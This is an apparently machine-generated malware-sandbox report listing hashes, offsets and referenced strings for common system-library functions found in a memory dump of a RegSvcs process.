Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3f9f6e6ebe3f96c10eb5f41ad48981364115ff36b1e20bc81817868ca63aea1
Instruction ID: 1c98c9eb8e0952ace9d4723098bdd5c9e634f273563195ac448fc83143f9ae36
Opcode Fuzzy Hash: f3f9f6e6ebe3f96c10eb5f41ad48981364115ff36b1e20bc81817868ca63aea1
Instruction Fuzzy Hash: 00900225221401020145B5580A4454B0449A7EA351395C016F1417591CC73189655731

Uniqueness

Uniqueness Score: -1.00%

Function 014A2AB0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 623ea991c5f93ce60aa70185ccfd9991167079209f7964b262a7fbf5968e92ff
Instruction ID: bdc437eb78cc0bfae9a3405a537f0750a95a58de04202a52ede27aeb44e4a9fd
Opcode Fuzzy Hash: 623ea991c5f93ce60aa70185ccfd9991167079209f7964b262a7fbf5968e92ff
Instruction Fuzzy Hash: 8F9002A1201541924500B2588844B4A450997F4201B55C017E1055561CC63589519635

Uniqueness

Uniqueness Score: -1.00%

Function 014A2D00 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54c484ffd3827b870396aaf9cf4b6d37396e0ba1f18ca615f6990e52614d7169
Instruction ID: a861611995e416999033f51c7465c88bf1a172c6b122e174d2058bed0959c215
Opcode Fuzzy Hash: 54c484ffd3827b870396aaf9cf4b6d37396e0ba1f18ca615f6990e52614d7169
Instruction Fuzzy Hash: CE90022120544542D10075585848A46000997E4205F55D012A1065596DC7358951A631

Uniqueness

Uniqueness Score: -1.00%

Function 014A2D10 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f352caba151455307541de580561fecc0afdbfa80e76477a8d9629da81c653
Instruction ID: ebf8b2fe2f466b96026e320bfe7601e215b1961f583f9fd80b9a031ad0500390
Opcode Fuzzy Hash: a4f352caba151455307541de580561fecc0afdbfa80e76477a8d9629da81c653
Instruction Fuzzy Hash: 3990022921340102D1807158584864A000997E5202F95D416A0016559CCA2589695731

Uniqueness

Uniqueness Score: -1.00%

Function 014A2D30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee68877f0e7264cb246db3d39a66760a303f4eafc39e3378df90ddc1071ef840
Instruction ID: c731b0bc8c5551bf46a8286fac676865e2b761cdb6eb10602a8b6047635b5d1f
Opcode Fuzzy Hash: ee68877f0e7264cb246db3d39a66760a303f4eafc39e3378df90ddc1071ef840
Instruction Fuzzy Hash: 0390022130140103D140715858586464009E7F5301F55D012E0415555CDA2589565732

Uniqueness

Uniqueness Score: -1.00%

Function 014A2DD0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0acee9f8c14b54fbea05ccd2171e030ada878b20139c22a60169cdfe177f4397
Instruction ID: 480a28c9a13dafba16e52dae4d6fcff38d0329e9bca8f6defb6b23d2a0273db0
Opcode Fuzzy Hash: 0acee9f8c14b54fbea05ccd2171e030ada878b20139c22a60169cdfe177f4397
Instruction Fuzzy Hash: 5C900221242442525545B1584844547400AA7F4241795C013A1415951CC6369956DB31

Uniqueness

Uniqueness Score: -1.00%

Function 014A2DB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38164e4c68e8035382a9f09934f0bd3d8a889b2a0740e5ee54e77126ed897915
Instruction ID: 381819a986ed9761c056025e4c448f322481f952c244c599b9a7dfdbf2985fb8
Opcode Fuzzy Hash: 38164e4c68e8035382a9f09934f0bd3d8a889b2a0740e5ee54e77126ed897915
Instruction Fuzzy Hash: 8790023124140502D14171584844646000DA7E4241F95C013A0425555EC7658B56AF71

Uniqueness

Uniqueness Score: -1.00%

Function 014A2C60 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3dd717e2b79f9411f113ccb0353a2959120e1cb86c1e13b72994926ea425474
Instruction ID: aff886cf0bee069afbe45275feefb6b3ff82c929a44f0c4d92872f8d898b54d5
Opcode Fuzzy Hash: f3dd717e2b79f9411f113ccb0353a2959120e1cb86c1e13b72994926ea425474
Instruction Fuzzy Hash: 0990023120140942D10071584844B86000997F4301F55C017A0125655DC725C9517A31

Uniqueness

Uniqueness Score: -1.00%

Function 014A2CC0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ba4960ddd6132b69deea7c67947e5799540aee667984568b4fa98ed8d1a2f5a
Instruction ID: cce2b56048e7b0bd56789148e14747f0826623143e7b2d6584ee1828996cd6d7
Opcode Fuzzy Hash: 6ba4960ddd6132b69deea7c67947e5799540aee667984568b4fa98ed8d1a2f5a
Instruction Fuzzy Hash: 8B90022160540502D14071585858746001997E4201F55D012A0025555DC7698B556BB1

Uniqueness

Uniqueness Score: -1.00%

Function 014A2CF0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 071399d398c8702bcbfa2baaf49fabed2317e1c45a8ae7ffcfc6dbbd630279da
Instruction ID: 2bbb340c4f6f2c71fb2f0a4150b181b51dc280ec45cbb0c1663281035010610b
Opcode Fuzzy Hash: 071399d398c8702bcbfa2baaf49fabed2317e1c45a8ae7ffcfc6dbbd630279da
Instruction Fuzzy Hash: 1C90023120140503D10071585948747000997E4201F55D412A0425559DD76689516631

Uniqueness

Uniqueness Score: -1.00%

Function 014A2CA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e53db23bde53ea7da876c6941f571507578924bcfb9cb2dbc30aed66a86de887
Instruction ID: 7610f1d7589a1ba66440c221634064c10a4b19fd9fac623d8daed7a05d514f65
Opcode Fuzzy Hash: e53db23bde53ea7da876c6941f571507578924bcfb9cb2dbc30aed66a86de887
Instruction Fuzzy Hash: F090023120140502D10075985848686000997F4301F55D012A5025556EC77589916631

Uniqueness

Uniqueness Score: -1.00%

Function 014A2F60 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a526437b396500048a1de25e7865c2239f2442a6cb25e1cada6abf083acf894
Instruction ID: ca96db129a8355f42d2a49238ac63ce4dd00938efcf8cd9878414cee6f6bdac5
Opcode Fuzzy Hash: 5a526437b396500048a1de25e7865c2239f2442a6cb25e1cada6abf083acf894
Instruction Fuzzy Hash: FD90047131140143D104715C4C44747004DD7F5301F55C013F3155555CC73DCD715735

Uniqueness

Uniqueness Score: -1.00%

Function 014A2F30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a76cc582187bb239fdeb9773de17f81790cd769ba85053a27e66169fb4d3ce9
Instruction ID: 6420d27a446303430a478b207be85fd67bb7a40fd51a471b56dcdf680784bcfe
Opcode Fuzzy Hash: 2a76cc582187bb239fdeb9773de17f81790cd769ba85053a27e66169fb4d3ce9
Instruction Fuzzy Hash: F590026134140542D10071584854B460009D7F5301F55C016E1065555DC729CD526636

Uniqueness

Uniqueness Score: -1.00%

Function 014A2FE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cc2bb3af2091944f4fc71a182b09e936aa353381c230840843051c883f70194
Instruction ID: 56a7c3ecc30781737508aafa2c4a385406e72324ef5e3e4ea591709c924600aa
Opcode Fuzzy Hash: 3cc2bb3af2091944f4fc71a182b09e936aa353381c230840843051c883f70194
Instruction Fuzzy Hash: 4B900221211C0142D20075684C54B47000997E4303F55C116A0155555CCA2589615A31

Uniqueness

Uniqueness Score: -1.00%

Function 014A2F90 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c370016b1767ade6d09900ac145824f8b40c15450b46568ed781b408259a8fe8
Instruction ID: e5dfaaad0a0072895b346f47a2a6714b593562faeea347b5ecd2db8d3d9f63a6
Opcode Fuzzy Hash: c370016b1767ade6d09900ac145824f8b40c15450b46568ed781b408259a8fe8
Instruction Fuzzy Hash: 2A90023120180502D10071584C5474B000997E4302F55C012A1165556DC73589516A71

Uniqueness

Uniqueness Score: -1.00%

Function 014A2FA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0405526221011c7ade5f85e999d687b02499ea8206503fd51fdfc950d82554b7
Instruction ID: aa8702a5c1b511f3a7ceb909fc1c9ead2853ba7d97c10de88e2e73f8d6fdd1b5
Opcode Fuzzy Hash: 0405526221011c7ade5f85e999d687b02499ea8206503fd51fdfc950d82554b7
Instruction Fuzzy Hash: 9690023120180502D10071584C48787000997E4302F55C012A5165556EC775C9916A31

Uniqueness

Uniqueness Score: -1.00%

Function 014A2FB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7da417244985e06fc9c4e45df50961c1c0e5a02998f7f9096d40d211ea9002fd
Instruction ID: 42dd875b1130f38800c204300d41046b40167787654adc23ea5894d81b07597f
Opcode Fuzzy Hash: 7da417244985e06fc9c4e45df50961c1c0e5a02998f7f9096d40d211ea9002fd
Instruction Fuzzy Hash: 7E90022160140142414071688C849464009BBF5211755C122A0999551DC66989655B75

Uniqueness

Uniqueness Score: -1.00%

Function 014A2E30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74f213d49adae602e346627f05ab6b2b859d61293176ee2bbe2aa46519b94289
Instruction ID: 17714654a561aefb24215060ef7fe3973b3d7dbcbd4e76d1030b715fa6665446
Opcode Fuzzy Hash: 74f213d49adae602e346627f05ab6b2b859d61293176ee2bbe2aa46519b94289
Instruction Fuzzy Hash: D790022130140502D10271584854646000DD7E5345F95C013E1425556DC7358A53A632

Uniqueness

Uniqueness Score: -1.00%

Function 014A2EE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0670824a698b5d87de69b03750ea503fa0066b9d4408e66fc7cfb535d155057
Instruction ID: 99ca016d017121cca0030e0fa2d4af4c0a19e47a0059684adc59a9e8e512c020
Opcode Fuzzy Hash: c0670824a698b5d87de69b03750ea503fa0066b9d4408e66fc7cfb535d155057
Instruction Fuzzy Hash: C390026120180503D14075584C44647000997E4302F55C012A2065556ECB398D516635

Uniqueness

Uniqueness Score: -1.00%

Function 014A2E80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 897893fe494610374441ef728bfd4e8519e9b9c2d2c5fdb581dd0f709a869a0f
Instruction ID: 388da0fe915abba47e3b3910c3f6187c7e0f55c71ec8d69d02fb82637fd4e42c
Opcode Fuzzy Hash: 897893fe494610374441ef728bfd4e8519e9b9c2d2c5fdb581dd0f709a869a0f
Instruction Fuzzy Hash: 8690022160140602D10171584844656000E97E4241F95C023A1025556ECB358A92A631

Uniqueness

Uniqueness Score: -1.00%

Function 014A2EA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2982cc54c820de80a7d80db0399477d896b7c71a296c2c6ee151dacc6875e09
Instruction ID: d3f9c2a0fdab093dd65488b22c783c7cb09acb50179200147a1f3179c9539f5c
Opcode Fuzzy Hash: f2982cc54c820de80a7d80db0399477d896b7c71a296c2c6ee151dacc6875e09
Instruction Fuzzy Hash: 0590027120140502D14071584844786000997E4301F55C012A5065555EC7698ED56B75

Uniqueness

Uniqueness Score: -1.00%

Function 014A3010 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 532ab42fba43ab1193ca036fbe6759ec43b211607051630e721fecda57f1c95e
Instruction ID: 9a0548f45d566d2b91ca738c65ec96a6f6e88ccd87f7bfdaf0ca6e6961cdf6f7
Opcode Fuzzy Hash: 532ab42fba43ab1193ca036fbe6759ec43b211607051630e721fecda57f1c95e
Instruction Fuzzy Hash: 0790022120184542D14072584C44B4F410997F5202F95C01AA4157555CCA2589555B31

Uniqueness

Uniqueness Score: -1.00%

Function 014A3090 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff6833b2307028185fa2f55569a0801c19816f0aeea11482fef36410e803ea4d
Instruction ID: a2ef11c06812a93a0c4ce2fa1d5c267da7fc71d595dfd780ebc7be383de3bea8
Opcode Fuzzy Hash: ff6833b2307028185fa2f55569a0801c19816f0aeea11482fef36410e803ea4d
Instruction Fuzzy Hash: 0690022124140902D14071588854747000AD7E4601F55C012A0025555DC7268A656BB1

Uniqueness

Uniqueness Score: -1.00%

Function 014A39B0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 163b97b2b019797cb52c5f992741b999a083af54a620c8ffe3ee12ed83a3d618
Instruction ID: b6113a824cabe951f7dbffba76175c3538f116e5db79ac34faecae1f67b3fd7e
Opcode Fuzzy Hash: 163b97b2b019797cb52c5f992741b999a083af54a620c8ffe3ee12ed83a3d618
Instruction Fuzzy Hash: B690022124545202D150715C48446564009B7F4201F55C022A0815595DC66589556731

Uniqueness

Uniqueness Score: -1.00%

Function 014A3D70 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8c8071b157a6e2dbee54599818c545ad6c33a6cac58a5184f19136d014465af
Instruction ID: 34c1ba37472a43ba141b1a7ef5229eefead231d2ef0a91e6c1d6870dd85a10f8
Opcode Fuzzy Hash: b8c8071b157a6e2dbee54599818c545ad6c33a6cac58a5184f19136d014465af
Instruction Fuzzy Hash: 8D90023520140502D51071585C44686004A97E4301F55D412A0425559DC76489A1A631

Uniqueness

Uniqueness Score: -1.00%

Function 014A3D10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21772f7dcbc873dfaab6a23c3509552f6e504e1012c7cfeb84559d133f1051bd
Instruction ID: b52ea55d1583ce5358fd2e701e8fdd19af4d8127041cb5a6cec5211e9f838ec9
Opcode Fuzzy Hash: 21772f7dcbc873dfaab6a23c3509552f6e504e1012c7cfeb84559d133f1051bd
Instruction Fuzzy Hash: 9590023120240242954072585C44A8E410997F5302B95D416A0016555CCA2489615731

Uniqueness

Uniqueness Score: -1.00%

Function 014A2C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: a2b4e27ef477884cdf914af3e1defc8872726b59b345827ea3a3634443c29430
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 014A2890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 014A293C
___swprintf_l.LIBCMT ref: 014A295E
___swprintf_l.LIBCMT ref: 014A29A3
___swprintf_l.LIBCMT ref: 014DA52E

Strings

:%u.%u.%u.%u, xrefs: 014DA5B8
::%hs%u.%u.%u.%u, xrefs: 014DA527
::ffff:0:%u.%u.%u.%u, xrefs: 014DA54E
ffff:, xrefs: 014DA504

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 1d202cb3a5e32f8379ef075c8ace8580d2e77a609b1f2a99269eb783c5a55e34
Instruction ID: f24385fa1f14327eab5c8545c8ff93e9336f4b2de8df55aadcc53bf5294898b6
Opcode Fuzzy Hash: 1d202cb3a5e32f8379ef075c8ace8580d2e77a609b1f2a99269eb783c5a55e34
Instruction Fuzzy Hash: 0E51F4B2A00116AFCB11DF9D899097FFBB8BB28240B95822FF465D7651D374DE0097A0

Uniqueness

Uniqueness Score: -1.00%

Function 01512410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 015124A6
___swprintf_l.LIBCMT ref: 015124E2
___swprintf_l.LIBCMT ref: 0151257D
___swprintf_l.LIBCMT ref: 015125A3
___swprintf_l.LIBCMT ref: 015125C8
___swprintf_l.LIBCMT ref: 01512608

Strings

::%hs%u.%u.%u.%u, xrefs: 0151249E
::ffff:0:%u.%u.%u.%u, xrefs: 015124DA
:%u.%u.%u.%u, xrefs: 015125FF
ffff:, xrefs: 0151247D, 0151249D

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 73c1d48175063a5ccf68c8260300b7dac39435962c33b076b21b5a34d20bcdda
Instruction ID: c409bd1759888d487f807f324dad64a2b0d95922ff99f382ecc4e1c403ad9bf9
Opcode Fuzzy Hash: 73c1d48175063a5ccf68c8260300b7dac39435962c33b076b21b5a34d20bcdda
Instruction Fuzzy Hash: 69510975A006456EEB36DF5DC8D097FB7F8FB44200F24885EE496CB646E6B4DA40C760

Uniqueness

Uniqueness Score: -1.00%

Function 01497630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

Execute=1, xrefs: 014D4713
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 014D4655
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 014D46FC
ExecuteOptions, xrefs: 014D46A0
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 014D4725
CLIENT(ntdll): Processing section info %ws..., xrefs: 014D4787
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 014D4742

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: 61170145ef6683c9c06a935bc28ce51ddd2205b8145b97c5082b2d3653f702b7
Instruction ID: 05890b60ed7d50daea901da674c314c1aa5ff2d1110925e3dd6e9432d452182f
Opcode Fuzzy Hash: 61170145ef6683c9c06a935bc28ce51ddd2205b8145b97c5082b2d3653f702b7
Instruction Fuzzy Hash: DD513C316002196BEF109BA9DC55FAE7FA8AF64311F1800DFD609AB2B1E770AE458F50

Uniqueness

Uniqueness Score: -1.00%

Function 01536940 Relevance: 9.4, APIs: 6, Instructions: 416COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
Instruction ID: d58dec9e60ad385eb6fcb4cd023f4356ae3115c7e708eb19aba850cfa3428976
Opcode Fuzzy Hash: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
Instruction Fuzzy Hash: 080225B1508342AFD309CF19C490A6FBBE5FFD8700F45892DB9998B260DB31EA05CB52

Uniqueness

Uniqueness Score: -1.00%

Function 014AB5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 014AB6BF

Strings

+, xrefs: 014AB65A
-, xrefs: 014AB650
0, xrefs: 014AB66F
0, xrefs: 014AB695

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction ID: 923cf12ae9efa7531cb3b2e363759f1b38e22c469a27cdc2ae4d714ca512a77d
Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction Fuzzy Hash: 8E81CF74E052498EEF258E6CC8907FEBFB1EF65320F9A421FD865A73A1C77088418B51

Uniqueness

Uniqueness Score: -1.00%

Function 015120E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0151214F
___swprintf_l.LIBCMT ref: 01512172

Strings

[, xrefs: 0151212B
%%%u, xrefs: 01512146
]:%u, xrefs: 01512169

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$[$]:%u
API String ID: 48624451-2819853543
Opcode ID: 863252eeebdc77287db545d8c64a826e80f1941fc6447beb62385360423d499b
Instruction ID: 08e334d1712671662bfb4fee34566518e3a0ecd0156483ef53ee26c3461863a7
Opcode Fuzzy Hash: 863252eeebdc77287db545d8c64a826e80f1941fc6447beb62385360423d499b
Instruction Fuzzy Hash: 6121657AE00119ABEB11DF79DC40AEEBBF9FF64650F55011AE905E7205E730D9018BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0148F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 014D02E7
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 014D02BD
RTL: Re-Waiting, xrefs: 014D031E

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

